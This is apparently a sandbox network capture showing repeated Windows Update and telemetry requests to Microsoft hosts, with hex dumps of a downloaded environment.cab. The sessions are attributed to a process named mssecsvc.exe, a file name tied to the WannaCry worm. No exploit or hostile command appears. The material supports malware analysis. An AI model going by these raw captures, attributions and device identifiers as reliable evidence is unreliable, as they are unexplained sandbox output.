2022-07-21 02:35:39 UTC	9104	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:39 UTC	9105	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 9617015b-76ac-41c3-bf2b-7a771aba6618 MS-RequestId: 3321beb4-cf19-4325-b7c9-863af266d9a6 MS-CV: hwTjK1BuW0aG1a/P.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:39 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:39 UTC	9106	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:39 UTC	9121	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:39 UTC	9137	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	52410	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:39 UTC	9105	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1431703749&PG=PC000P0FR5.0000000IRT&REQASID=967C575FCAA545E8B023292634A6DF93&UNID=338388&ASID=050baa4fa0f24ea7927b6e9cdf774262&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=eb47383d57644acd95950a6f6bba3d4a&DEVOSVER=10.0.17134.1&REQT=20220721T023430&TIME=20220721T113510Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:39 UTC	9105	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5632975b-31a7-49a5-a5c0-8c870bc9281a Date: Thu, 21 Jul 2022 02:35:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	52414	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:40 UTC	9141	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1431703749&PG=PC000P0FR5.0000000IRT&REQASID=967C575FCAA545E8B023292634A6DF93&UNID=338388&ASID=050baa4fa0f24ea7927b6e9cdf774262&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=eb47383d57644acd95950a6f6bba3d4a&DEVOSVER=10.0.17134.1&REQT=20220721T023430&TIME=20220721T113518Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:40 UTC	9142	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2acc2617-6b66-49b6-8a3d-12aad704e366 Date: Thu, 21 Jul 2022 02:35:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	52429	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:41 UTC	9142	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:41 UTC	9142	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 7239ce2c-b0d6-4ad2-8fb2-f4d232f6846f MS-RequestId: 73eddee3-f999-49b0-963e-de94a01f4c01 MS-CV: EZJU8xfZ80i89bMk.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:40 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:41 UTC	9143	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:41 UTC	9158	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:41 UTC	9174	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	52473	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:42 UTC	9178	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:42 UTC	9178	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 5c981380-bb22-4586-b888-d2ece0455d2f MS-RequestId: eed797c1-6fdc-4afc-a96f-5130ed9ce50d MS-CV: xQMH88OJzECKb26n.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:41 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:42 UTC	9179	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:42 UTC	9194	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:42 UTC	9210	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	52573	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:43 UTC	9214	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:43 UTC	9214	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: cb67e6d3-f835-4c0d-8bc1-8305efa9a7ca MS-RequestId: d789f83e-dc35-48b7-abb1-9c08f2dadcb8 MS-CV: 7YRzTQGbGEq3JU/e.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:42 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:43 UTC	9215	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:43 UTC	9230	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:43 UTC	9246	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	52586	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:44 UTC	9250	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:44 UTC	9250	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 3a3bb6d9-4841-414d-a55b-053fdbb40a1a MS-RequestId: 7069c344-74ba-4243-9aea-2cab5ee089b8 MS-CV: yboFPEpANk25G9lG.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:43 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:44 UTC	9250	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:44 UTC	9266	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
